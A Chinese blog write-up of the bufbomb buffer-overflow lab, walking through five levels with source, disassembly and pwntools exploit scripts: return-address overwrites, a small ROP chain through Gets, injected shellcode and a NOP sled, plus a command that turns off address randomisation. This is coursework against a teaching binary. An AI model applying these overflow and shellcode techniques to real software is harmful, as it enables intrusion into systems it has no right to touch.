这个实验花了我一天左右的时间吧,还是对 pwn 不太熟悉,很多东西都要现查 (不听课的下场 qaq) 。下面整理一下解题思路和遇到的坑吧。

老师给的文件是 bufbomb ,这东西其实上网搜搜就能搜到。下面的源码什么的也是网上找的

准备

这次的实验嘛,主要就是劫持程序的运行流,让程序运行我们想要的代码,从而达到我们预期的目的。

来看看程序的输入函数 getbuf :

#define NORMAL_BUFF_SIZE 24
int getbuf()
{
    char buf[NORMAL_BUFF_SIZE];
    Gets(buf);
    return 1;
}

这里的 Gets 函数是没有任何保护措施的,也就是你给多少它就读多少。下面来看看一个栈的结构:

stack.png

如果我们的输入超过了 buf 的大小,那么 Gets 函数还是会继续覆盖,这样的话就会把 saved ebp 给覆盖掉。再接着读的话 ,还可以将函数的 return address 给覆盖掉,这样就可以达成劫持程序流的目的啦。

来看看这个文件的帮助:

bufbomb.png

这东西老师绝对是魔改过的。简单的看了一下,感觉 -s 参数没什么卵用,审计了汇编代码后发现 -g 参数才会判断是否通过。至于 -s 参数加了之后会一直阻塞在那里,汇编看的晕晕乎乎的也没管了,反正能用就行了是吧 qwq 。

最后一题一定要加 -n 参数 !!!被坑了挺久的,脚本一直不对,然后发现复制的时候忘记该参数了

0x00: smoke

构造 payload 使缓冲区溢出,从而让目标程序执行 smoke 函数。

源码
#define NORMAL_BUFFER_SIZE 24
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

void smoke()
{
    puts("Smoke!: You calledsmoke()");
    validate(0);
    exit(0);
}

目标是调用 getbuf 函数后不正常返回,而是跳转到 smoke 函数的位置,所以直接覆盖返回地址就好啦。

查看反汇编代码得到 smoke 函数的地址为 0x08048eb0

08048eb0 <smoke>:
 8048eb0:    55                       push   %ebp
 8048eb1:    89 e5                    mov    %esp,%ebp
 8048eb3:    83 ec 08                 sub    $0x8,%esp
 8048eb6:    c7 04 24 f7 95 04 08     movl   $0x80495f7,(%esp)
 8048ebd:    e8 96 f8 ff ff           call   8048758 <puts@plt>
 8048ec2:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
 8048ec9:    e8 22 fc ff ff           call   8048af0 <validate>
 8048ece:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
 8048ed5:    e8 0e f9 ff ff           call   80487e8 <exit@plt>
 8048eda:    8d b6 00 00 00 00        lea    0x0(%esi),%esi

buf 只有 24 字节,所以只需要构造 0x28(buf) + 0x4(ebp) + 0x4(return address) = 0x30 字节的 payload 即可。

所以这里编写脚本攻击:

def smoke():
    smoke_addr = 0x08048eb0
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr)
    program.sendline(payload)
    print(program.recvall())
说明一下这里我是用了 pwntools 库来写脚本

0x01 fizz

构造 payload 使缓冲区溢出,从而让目标程序执行 fizz 函数,同时传入一个 cookie 作为参数。

源码
void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    }
    else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

和前一关类似的解法,只是多个参数。

查看 fizz 函数的反汇编代码:

08048e60 <fizz>:
 8048e60:    55                       push   %ebp
 8048e61:    89 e5                    mov    %esp,%ebp
 8048e63:    83 ec 08                 sub    $0x8,%esp
 8048e66:    8b 45 08                 mov    0x8(%ebp),%eax
 8048e69:    3b 05 d4 a1 04 08        cmp    0x804a1d4,%eax
 8048e6f:    74 1f                    je     8048e90 <fizz+0x30>
 8048e71:    89 44 24 04              mov    %eax,0x4(%esp)
 8048e75:    c7 04 24 8c 98 04 08     movl   $0x804988c,(%esp)
 8048e7c:    e8 27 f9 ff ff           call   80487a8 <printf@plt>
 8048e81:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
 8048e88:    e8 5b f9 ff ff           call   80487e8 <exit@plt>
 8048e8d:    8d 76 00                 lea    0x0(%esi),%esi
 8048e90:    89 44 24 04              mov    %eax,0x4(%esp)
 8048e94:    c7 04 24 d9 95 04 08     movl   $0x80495d9,(%esp)
 8048e9b:    e8 08 f9 ff ff           call   80487a8 <printf@plt>
 8048ea0:    c7 04 24 01 00 00 00     movl   $0x1,(%esp)
 8048ea7:    e8 44 fc ff ff           call   8048af0 <validate>
 8048eac:    eb d3                    jmp    8048e81 <fizz+0x21>
 8048eae:    89 f6                    mov    %esi,%esi

注意这两句

 mov    0x8(%ebp),%eax
 cmp    0x804a1d4,%eax

使用 gdb 易知 0x804a1d4 中即为 cookie 值,所以我们应该将 [ ebp + 8 ] 的值修改为 cookie ,然后再执行 fizz 函数。所以在上一题的基础上多覆盖 0x4 个字节即可。

编写脚本如下:

def fizz():
    fizz_addr = 0x08048e60
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie
    cookie = int(program.recvline().strip(), 16)
    payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie)
    program.sendline(payload)
    print(program.recvall())

0x02 bang

构造 payload 使缓冲区溢出,从而让目标程序执行 bang 函数,同时修改全局变量 global_value 为 cookie 值。

源码
#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
int global_value = 0;
void bang(int val)
{
    if (global_value == cookie)
    {
        printf("Bang!: You set global_value to 0x%x\n",
               global_value);
        validate(2);
    }
    else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

首先需要找到全局变量的地址。查看 bang 的反汇编代码:

08048e10 <bang>:
 8048e10:    55                       push   %ebp
 8048e11:    89 e5                    mov    %esp,%ebp
 8048e13:    83 ec 08                 sub    $0x8,%esp
 8048e16:    a1 c4 a1 04 08           mov    0x804a1c4,%eax
 8048e1b:    3b 05 d4 a1 04 08        cmp    0x804a1d4,%eax
 8048e21:    74 1d                    je     8048e40 <bang+0x30>
 8048e23:    89 44 24 04              mov    %eax,0x4(%esp)
 8048e27:    c7 04 24 bb 95 04 08     movl   $0x80495bb,(%esp)
 8048e2e:    e8 75 f9 ff ff           call   80487a8 <printf@plt>
 8048e33:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
 8048e3a:    e8 a9 f9 ff ff           call   80487e8 <exit@plt>
 8048e3f:    90                       nop
 8048e40:    89 44 24 04              mov    %eax,0x4(%esp)
 8048e44:    c7 04 24 64 98 04 08     movl   $0x8049864,(%esp)
 8048e4b:    e8 58 f9 ff ff           call   80487a8 <printf@plt>
 8048e50:    c7 04 24 02 00 00 00     movl   $0x2,(%esp)
 8048e57:    e8 94 fc ff ff           call   8048af0 <validate>
 8048e5c:    eb d5                    jmp    8048e33 <bang+0x23>
 8048e5e:    89 f6                    mov    %esi,%esi

这里面有两个地址,0x804a1c4 和 0x804a1d4 。通过 gdb 调试可以知道 0x804a1c4 是 global_value 的地址。

由于全局变量存在于 bss 段或 data 段,所以我们无法直接修改。在这里函数的返回地址和参数都是可控的,很容易联想到构造 ROP 来覆盖 global_value 。这里我们可以利用的函数有 Gets 函数可以向内存中写入数据,所以大致思路如下:

利用 getbuf 函数溢出到 Gets 函数,对 global_value 进行覆盖,然后再跳转回 bang 函数继续执行。

编写脚本如下:

def bang():
    bang_addr = 0x08048e10
    Gets_addr = 0x080489c0
    global_value_addr = 0x804a1c4
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie
    cookie = int(program.recvline().strip(), 16)
    payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr)
    program.sendline(payload)
    program.sendline(p32(cookie)) # set global_value by function Gets
    print(program.recvall())

0x03 boom

前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原 test 的 ebp 给破坏了。Boom 这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中。

除此之外,我们还需要构造 payload 使 getbuf 函数返回 cookie 值,而不是返回 0x01。修改返回值需要修改 eax 寄存器的值,这里可以利用 shellcode 来修改 eax 的值。

源码
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)///getbuf函数返回值为cookie
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}

构造 shellcode 如下:

movl $cookie, %eax   //将返回值修改为cookie
pushl $0x08048db2    //将call getbuf函数的下一条要执行的指令的地址压入返回地址
ret                  //用ret来执行返回地址

还原 ebp 有两种方法:

  • 第一种是直接找出旧 ebp 的地址,然后在溢出的时候覆盖备份的 ebp ,这样 ebp 保持不变就可以正确还原了。
  • 第二种方法是通过 esp 计算出 ebp 的地址。esp 和 ebp 的相对距离是不变的,所以可以据此还原 ebp 的值。只需要调试出相对距离,并且在 shellcode 内还原即可。

如果使用第一种方法不能有地址随机化。Linux 关闭地址随机化可以使用下面的语句:

echo 0 > /proc/sys/kernel/randomize_va_space

这里我使用了第一种方法,编写脚本如下:

def test():
    ret_addr       = 0x08048db2 # next code after getbuf
    old_ebp        = 0xffffb948
    shellcode_addr = 0xffffb910

    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie

    cookie = int(program.recvline().strip(), 16)
    shellcode = asm("mov eax, {0} \n \
                    push {1} \n \
                    ret".format(cookie, ret_addr))

    payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr)
    program.sendline(payload)
    print(program.recvall())

0x04 nitro

这一关承接上一关,增加了难度。进入这一关需要添加 -n 参数,调用的是 getbufn 和 testn 函数,需要通过五次 test case 才可以通过。

源码
#define KABOOM_BUFFER_SIZE 512
void testn()
{
    int val;
    volatile int local = uniqueval();
    val = getbufn();
    /* Check for corrupted stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie)
    {
        printf("KABOOM!: getbufn returned 0x%x\n", val);
        validate(4);
    }
    else
    {
        printf("Dud: getbufn returned 0x%x\n", val);
    }
}
int getbufn()
{
    char buf[KABOOM_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

查看 getbufn 函数,发现 buf 扩大到 0x208 了。

查看 testn 函数,和上一关的 test 函数几乎一样。

这里最大的问题就是开了随机化,栈空间的地址可能会发生变化。那么按照上一题的思路,shellcode 的首地址和 ebp 的恢复就会出现问题。

ebp 的问题很好解决, ebp 和 esp 的相对位置是不变的,所以根据汇编代码很容易找出 ebp 和 esp 之间的相对距离是 0x18。

接下来是首地址的问题。既然首地址的精确位置没法确定,但是大致位置还是可以确定的。此时很容易想到使用 NOP sled 方法,来将程序流 "滑" 到 shellcode 的位置。

NOP 指令的十六进制码为 0x90 ,所以可以构造 payload 如下:

payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)

shellcode 的地址可以通过调试确定,我本地大约在 0xffffb720 左右。

至此,通过一次 test 的思路已经明确了,只需要将以上流程重复 5 次即可。编写脚本如下:

def testn():
    ret_addr       = 0x08048d42 # next code after getbuf
    shellcode_addr = 0xffffb720

    program = process(["./bufbomb", "-t", "Richard", "-ng"])
    program.recvuntil("Cookie:") # get cookie

    cookie = int(program.recvline().strip(), 16)
    shellcode = asm("mov eax, {0} \n \
                    lea ebp, [esp + 0x18] \n \
                    push {1} \n \
                    ret".format(cookie, ret_addr))

    for i in range(5):
        payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)
        program.sendline(payload)
    print(program.recvall())

exp

# encoding: utf-8

from pwn import *

# debug mode
# context.log_level = 'DEBUG'

def smoke():
    smoke_addr = 0x08048eb0
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    payload = 'a' * 24 + 'b' * 4 + p32(smoke_addr)
    program.sendline(payload)
    print(program.recvall())

def fizz():
    fizz_addr = 0x08048e60
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie
    cookie = int(program.recvline().strip(), 16)
    payload = 'a' * 24 + 'b' * 4 + p32(fizz_addr) + 'c' * 4 + p32(cookie)
    program.sendline(payload)
    print(program.recvall())

def bang():
    bang_addr = 0x08048e10
    Gets_addr = 0x080489c0
    global_value_addr = 0x804a1c4
    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie
    cookie = int(program.recvline().strip(), 16)
    payload = 'a' * 24 + 'b' * 4 + p32(Gets_addr) + p32(bang_addr) + p32(global_value_addr)
    program.sendline(payload)
    program.sendline(p32(cookie)) # set global_value by function Gets
    print(program.recvall())

def test():
    ret_addr       = 0x08048db2 # next code after getbuf
    old_ebp        = 0xffffb948
    shellcode_addr = 0xffffb910

    program = process(["./bufbomb", "-t", "Richard", "-g"])
    program.recvuntil("Cookie:") # get cookie

    cookie = int(program.recvline().strip(), 16)
    shellcode = asm("mov eax, {0} \n \
                    push {1} \n \
                    ret".format(cookie, ret_addr))

    payload = shellcode + '\x00' * (24 - len(shellcode)) + p32(old_ebp) + p32(shellcode_addr)
    program.sendline(payload)
    print(program.recvall())

def testn():
    ret_addr       = 0x08048d42 # next code after getbuf
    shellcode_addr = 0xffffb720

    program = process(["./bufbomb", "-t", "Richard", "-ng"])
    program.recvuntil("Cookie:") # get cookie

    cookie = int(program.recvline().strip(), 16)
    shellcode = asm("mov eax, {0} \n \
                    lea ebp, [esp + 0x18] \n \
                    push {1} \n \
                    ret".format(cookie, ret_addr))

    for i in range(5):
        payload = '\x90' * (0x208 - len(shellcode)) + shellcode + "a" * 4 + p32(shellcode_addr)
        program.sendline(payload)
    print(program.recvall())

if __name__ == '__main__':
    print("First level: smoke")
    smoke()
    print("Second level: fizz")
    fizz()
    print("Third level: bang")
    bang()
    print("Fourth level: test")
    test()
    print("Fifth level: testn")
    testn()

Reference

https://blog.csdn.net/counsellor/article/details/81543197

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/

https://blog.csdn.net/Apollon_krj/article/details/76793914

https://www.jianshu.com/p/355e4badab50

最后修改:2020 年 05 月 24 日
如果觉得我的文章对你有用,请随意赞赏